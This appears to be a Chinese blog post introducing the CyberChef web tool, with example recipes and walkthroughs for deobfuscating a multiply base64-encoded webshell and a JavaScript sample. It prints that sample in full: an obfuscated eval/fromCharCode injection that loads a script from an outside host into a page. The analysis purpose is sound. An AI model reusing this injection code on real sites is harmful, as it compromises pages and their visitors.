常用的三种web开发工具软件（开源web小工具神器介绍）

工作中，经常需要一些小工具来做一些转换，比如base64编码的转换，比如URL Encode 和URL Decode，甚至在产品中也提供了这样的小工具，方便客户使用，不过基本都是简单的命令，如果复杂点的，比如base64编码转换了10多次，或者用AES加密的内容，这样的处理，就需要自己写代码处理，或者遇到了几种转换的组合也需要自己去实现，今天发现开源的Web小工具神器：CyberChef

CyberChef是一个简单，直观的Web应用程序，用于在Web浏览器中执行各种“网络”操作。这些操作包括简单的编码，如XOR和Base64，更复杂的加密，如AES，DES和Blowfish，创建二进制和十六进制转储，压缩和解压缩数据，计算哈希和校验和，IPv6和X.509解析，更改字符编码等等。

打开地址：https://gchq.github.io/CyberChef/ 看看界面如下图：

界面稍微土了点，但是分为三个部分：

1. 最左边是Operation，即提供的功能模块，比如转Base64、解码啊等；
2. Recipe是菜谱的意思，我们可以把Operation里面的功能拖到Recipe里面，可以灵活搭配不同的操作；
3. 最右边上面是input 输入内容，output是转换后的结果。

功能列表：

* [解码 Base64 编码的字符串](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9+/=',true)&input=VTI4Z2JHOXVaeUJoYm1RZ2RHaGhibXR6SUdadmNpQmhiR3dnZEdobElHWnBjMmd1) * [将日期和时间转换为其他时区](https://gchq.github.io/CyberChef/#recipe=Translate_DateTime_Format('Standard date and time','DD/MM/YYYY HH:mm:ss','UTC','dddd Do MMMM YYYY HH:mm:ss Z z','Australia/Queensland')&input=MTUvMDYvMjAxNSAyMDo0NTowMA) * [解析 Teredo IPv6 地址](https://gchq.github.io/CyberChef/#recipe=Parse_IPv6_address()&input=MjAwMTowMDAwOjQxMzY6ZTM3ODo4MDAwOjYzYmY6M2ZmZjpmZGQy) * [转换来自十六进制转储的数据，然后解压缩](https://gchq.github.io/CyberChef/#recipe=From_Hexdump()Gunzip()&input=MDAwMDAwMDAgIDFmIDhiIDA4IDAwIDEyIGJjIGYzIDU3IDAwIGZmIDBkIGM3IGMxIDA5IDAwIDIwICB8Li4uLi6881cu/y7HwS4uIHwKMDAwMDAwMTAgIDA4IDA1IGQwIDU1IGZlIDA0IDJkIGQzIDA0IDFmIGNhIDhjIDQ0IDIxIDViIGZmICB8Li7QVf4uLdMuLsouRCFb/3wKMDAwMDAwMjAgIDYwIGM3IGQ3IDAzIDE2IGJlIDQwIDFmIDc4IDRhIDNmIDA5IDg5IDBiIDlhIDdkICB8YMfXLi6+QC54Sj8uLi4ufXwKMDAwMDAwMzAgIDRlIGM4IDRlIDZkIDA1IDFlIDAxIDhiIDRjIDI0IDAwIDAwIDAwICAgICAgICAgICB8TshObS4uLi5MJC4uLnw) * [解密和反汇编外壳代码](https://gchq.github.io/CyberChef/#recipe=RC4({'option':'UTF8','string':'secret'},'Hex','Hex')Disassemble_x86('64','Full x86 architecture',16,0,true,true)&input=MjFkZGQyNTQwMTYwZWU2NWZlMDc3NzEwM2YyYTM5ZmJlNWJjYjZhYTBhYWJkNDE0ZjkwYzZjYWY1MzEyNzU0YWY3NzRiNzZiM2JiY2QxOTNjYjNkZGZkYmM1YTI2NTMzYTY4NmI1OWI4ZmVkNGQzODBkNDc0NDIwMWFlYzIwNDA1MDcxMzhlMmZlMmIzOTUwNDQ2ZGIzMWQyYmM2MjliZTRkM2YyZWIwMDQzYzI5M2Q3YTVkMjk2MmMwMGZlNmRhMzAwNzJkOGM1YTZiNGZlN2Q4NTlhMDQwZWVhZjI5OTczMzYzMDJmNWEwZWMxOQ) * [将多个时间戳显示为完整日期](https://gchq.github.io/CyberChef/#recipe=Fork('\\n','\\n',false)From_UNIX_Timestamp('Seconds (s)')&input=OTc4MzQ2ODAwCjEwMTI2NTEyMDAKMTA0NjY5NjQwMAoxMDgxMDg3MjAwCjExMTUzMDUyMDAKMTE0OTYwOTYwMA) * [对不同类型的数据进行不同的操作](https://gchq.github.io/CyberChef/#recipe=Fork('\\n','\\n',false)Conditional_Jump('1',false,'base64',10)To_Hex('Space')Return()Label('base64')To_Base64('A-Za-z0-9+/=')&input=U29tZSBkYXRhIHdpdGggYSAxIGluIGl0ClNvbWUgZGF0YSB3aXRoIGEgMiBpbiBpdA) * [将部分输入用作操作的参数](https://gchq.github.io/CyberChef/#recipe=Register('key=([\\da-f]*)',true,false)Find_/_Replace({'option':'Regex','string':'.*data=(.*)'},'$1',true,false,true)RC4({'option':'Hex','string':'$R0'},'Hex','Latin1')&input=aHR0cDovL21hbHdhcmV6LmJpei9iZWFjb24ucGhwP2tleT0wZTkzMmE1YyZkYXRhPThkYjdkNWViZTM4NjYzYTU0ZWNiYjMzNGUzZGIxMQ) * [执行 AES 解密，从密码流的开头提取 IV](https://gchq.github.io/CyberChef/#recipe=Register('(.{32})',true,false)Drop_bytes(0,32,false)AES_Decrypt({'option':'Hex','string':'1748e7179bd56570d51fa4ba287cc3e5'},{'option':'Hex','string':'$R0'},'CTR','Hex','Raw',{'option':'Hex','string':''})&input=NTFlMjAxZDQ2MzY5OGVmNWY3MTdmNzFmNWI0NzEyYWYyMGJlNjc0YjNiZmY1M2QzODU0NjM5NmVlNjFkYWFjNDkwOGUzMTljYTNmY2Y3MDg5YmZiNmIzOGVhOTllNzgxZDI2ZTU3N2JhOWRkNmYzMTFhMzk0MjBiODk3OGU5MzAxNGIwNDJkNDQ3MjZjYWVkZjU0MzZlYWY2NTI0MjljMGRmOTRiNTIxNjc2YzdjMmNlODEyMDk3YzI3NzI3M2M3YzcyY2Q4OWFlYzhkOWZiNGEyNzU4NmNjZjZhYTBhZWUyMjRjMzRiYTNiZmRmN2FlYjFkZGQ0Nzc2MjJiOTFlNzJjOWU3MDlhYjYwZjhkYWY3MzFlYzBjYzg1Y2UwZjc0NmZmMTU1NGE1YTNlYzI5MWNhNDBmOWU2MjlhODcyNTkyZDk4OGZkZDgzNDUzNGFiYTc5YzFhZDE2NzY3NjlhN2MwMTBiZjA0NzM5ZWNkYjY1ZDk1MzAyMzcxZDYyOWQ5ZTM3ZTdiNGEzNjFkYTQ2OGYxZWQ1MzU4OTIyZDJlYTc1MmRkMTFjMzY2ZjMwMTdiMTRhYTAxMWQyYWYwM2M0NGY5NTU3OTA5OGExNWUzY2Y5YjQ0ODZmOGZmZTljMjM5ZjM0ZGU3MTUxZjZjYTY1MDBmZTRiODUwYzNmMWMwMmU4MDFjYWYzYTI0NDY0NjE0ZTQyODAxNjE1YjhmZmFhMDdhYzgyNTE0OTNmZmRhN2RlNWRkZjMzNjg4ODBjMmI5NWIwMzBmNDFmOGYxNTA2NmFkZDA3MWE2NmNmNjBlNWY0NmYzYTIzMGQzOTdiNjUyOTYzYTIxYTUzZg) * [自动检测多层嵌套编码](https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false)&input=V1VhZ3dzaWFlNm1QOGdOdENDTFVGcENwQ0IyNlJtQkRvREQ4UGFjZEFtekF6QlZqa0syUXN0RlhhS2hwQzZpVVM3UkhxWHJKdEZpc29SU2dvSjR3aGptMWFybTg2NHFhTnE0UmNmVW1MSHJjc0FhWmM1VFhDWWlmTmRnUzgzZ0RlZWpHWDQ2Z2FpTXl1QlY2RXNrSHQxc2NnSjg4eDJ0TlNvdFFEd2JHWTFtbUNvYjJBUkdGdkNLWU5xaU45aXBNcTFaVTFtZ2tkYk51R2NiNzZhUnRZV2hDR1VjOGc5M1VKdWRoYjhodHNoZVpud1RwZ3FoeDgzU1ZKU1pYTVhVakpUMnptcEM3dVhXdHVtcW9rYmRTaTg4WXRrV0RBYzFUb291aDJvSDRENGRkbU5LSldVRHBNd21uZ1VtSzE0eHdtb21jY1BRRTloTTE3MkFQblNxd3hkS1ExNzJSa2NBc3lzbm1qNWdHdFJtVk5OaDJzMzU5d3I2bVMyUVJQ)

比如我们要处理经过两次base64转换后的数据，只需要拖两个base64的解码，即可，如下：

同时我们可以暂停每个操作步骤，也可以把我们的转换动作保存起来，不要太方便。

这个例子包括下面的例子根据在网上学来的，借鉴下。 下面这个webshell比较特别，经过21次base64转换，我们要进行21次的反向base64转换才可以，试试：

测试webshell的地址：[webshells/from_the_wild1.php at b7eefaff64049e3ff61e90c850686135c0ba74c4 · LordWolfer/webshells (github.com)](https://github.com/LordWolfer/webshells/blob/b7eefaff64049e3ff61e90c850686135c0ba74c4/from_the_wild1.php)

用到的命令很多，保存为json就是：

[ { "op": "Label", "args": ["begin"] }, { "op": "Regular expression", "args": ["Strings", "[A-Za-z0-9/ =]{30,}", true, true, false, false, false, false, "List matches"] }, { "op": "From Base64", "args": ["A-Za-z0-9 /=", true] }, { "op": "Raw Inflate", "args": [0, 0, "Adaptive", false, false] }, { "op": "Jump", "args": ["begin", 21] }, { "op": "Generic Code Beautify", "args": [] } ]

用到的功能组件有：

1. 先建立个label 名字为begin，这个是用于循环的；
2. 进行正则表达式提取base64的编码内容，正则表达式内容：[A-Za-z0-9/ =]{30,} 注意输出为List matches；
3. 用From Base64进行base64解码；
4. 用Raw Inflate来解密；
5. Jump 调到begin位置，重复执行21次；
6. Generic Code Beautify 美化代码；

结果如下图：

样本脚本地址：

[gist:3431818 (github.com)](https://gist.github.com/jonmarkgo/3431818)

内容如下：

eval(String.fromcharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));

使用的转换工具如下：

解释：

1. Regular expression 正则表达式提取10进制数，正则表达式：([0-9]{2,3}(,\s|)) ；
2. From Charcode 按照逗号分割，10进制方式转成char；
3. 继续用Regular expression提取十进制数；
4. From Charcode 按照逗号分割，10进制方式转成char； 最后的结果为：